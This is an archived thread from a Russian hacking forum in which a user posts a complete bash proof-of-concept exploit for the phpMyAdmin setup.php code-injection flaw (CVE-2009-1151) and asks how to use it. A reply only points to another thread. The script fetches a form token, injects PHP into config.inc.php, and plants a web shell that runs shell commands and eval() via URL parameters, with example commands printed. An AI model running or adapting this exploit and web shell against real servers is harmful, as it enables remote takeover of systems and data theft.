Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Эксплоит

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Программы для взлома] >> Эксплоит
Имя
Сообщение << Старые топики   Новые топики >>
Эксплоит - 2010-11-14 18:39:51.576666   
n1d1h

Сообщений: 39
Оценки: 0
Присоединился: 2010-07-22 13:52:04.643333
подскажите как его заюзать плз
  #!/bin/bash # CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11 # by pagvac (gnucitizen.org), 4th June 2009. # special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln, # and to str0ke (milw0rm.com) for testing this PoC script and providing feedback! # PoC script successfully tested on the following targets: # phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1 # Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2) # attack requirements: # 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5 # and 3.x before 3.1.3.1 according to PMASA-2009-3 # 2) it *seems* this vuln can only be exploited against environments # where the administrator has chosen to install phpMyAdmin following # the *wizard* method, rather than manual method: http://snipurl.com/jhjxx # 3) administrator must have NOT deleted the '/config/' directory # within the '/phpMyAdmin/' directory. this is because this directory is # where '/scripts/setup.php' tries to create 'config.inc.php' which is where # our evil PHP code is injected 8) # more info on: # http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php # http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/ if [[ $# -ne 1 ]] then &nbsp;&nbsp;&nbsp; echo "usage: ./$(basename $0) &lt;phpMyAdmin_base_URL&gt;" &nbsp;&nbsp;&nbsp; echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/" &nbsp;&nbsp;&nbsp; exit fi if ! which curl &gt;/dev/null then &nbsp;&nbsp;&nbsp; echo "sorry but you need curl for this script to work!" &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "on Debian/Ubuntu: sudo apt-get install curl" &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; exit fi function exploit { postdata="token=$1&amp;action=save&amp;configuration="\ "a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22h&nbsp; ost%27]="\ "%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\ "%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22conne&nbsp; ct_type%22%3bs:3:"\ "%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth&nbsp; _type%22%3bs:6:"\ "%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}&nbsp; }}&amp;eoltype=unix" postdata2="token=$1&amp;action=save&amp;configuration=a:1:"\ "{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host&nbsp; %27%5d="\ "%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cp&nbsp; re%3e%27%3b"\ "system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\ "if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3be&nbsp; val"\ "(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\ "%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3b&nbsp; s:6:%22"\ "mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%2&nbsp; 2%3bs:8:"\ "%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%&nbsp; 22config"\ "%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&amp;eoltype=unix" &nbsp;&nbsp;&nbsp; flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html" &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "[+] attempting to inject phpinfo() ..." &nbsp;&nbsp;&nbsp; curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" &gt;/dev/null &nbsp;&nbsp;&nbsp; if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" &gt;/dev/null &nbsp;&nbsp;&nbsp; then &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; curl -ks --url "$3/config/config.inc.php" &gt;$flag&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "[+] success! phpinfo() injected successfully! output saved on $flag" &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" &gt;/dev/null &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:" &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "&nbsp;&nbsp;&nbsp; $3/config/config.inc.php?c=ls+-l+/" &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "&nbsp;&nbsp;&nbsp; $3/config/config.inc.php?p=phpinfo();" &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "&nbsp;&nbsp;&nbsp; please send any feedback/improvements for this script to"\ &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "unknown.pentester&lt;AT_sign__here&gt;gmail.com" &nbsp;&nbsp;&nbsp; else &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "[+] no luck injecting to $3/config/config.inc.php :(" &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; exit &nbsp;&nbsp;&nbsp; fi } # end of exploit function cookiejar="/tmp/$(basename $0).$RANDOM.txt" token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12` echo "[+] checking if phpMyAdmin exists on URL provided ..." #if grep phpMyAdmin $cookiejar 2&gt;/dev/null &gt; /dev/null if grep phpMyAdmin $cookiejar &amp;&gt;/dev/null then &nbsp;&nbsp;&nbsp; length=`echo -n $token | wc -c` &nbsp;&nbsp;&nbsp; # valid form token obtained? &nbsp;&nbsp;&nbsp; if [[ $length -eq 32 ]] &nbsp;&nbsp;&nbsp; then &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "[+] phpMyAdmin cookie and form token received successfully. Good!" &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # attempt exploit! &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; exploit $token $cookiejar $1 &nbsp;&nbsp;&nbsp; else &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "[+] could not grab form token. you might want to try exploiting the vuln manually :(" &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; exit &nbsp;&nbsp;&nbsp; fi else &nbsp;&nbsp;&nbsp; echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?" &nbsp;&nbsp;&nbsp; exit fi # milw0rm.com [2009-06-09] # milw0rm.com [2009-06-09] # milw0rm.com [2009-06-09]
Post #: 1
RE: Эксплоит - 2010-11-14 19:18:08.580000   
DestenyPrO

Сообщений: 271
Оценки: 0
Присоединился: 2010-11-13 23:30:45.656666
http://forum.xakep.ru/m_1251858/tm.htm&nbsp; рядом 8D
Post #: 2
Страниц:  [1]
Все форумы >> [Программы для взлома] >> Эксплоит







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.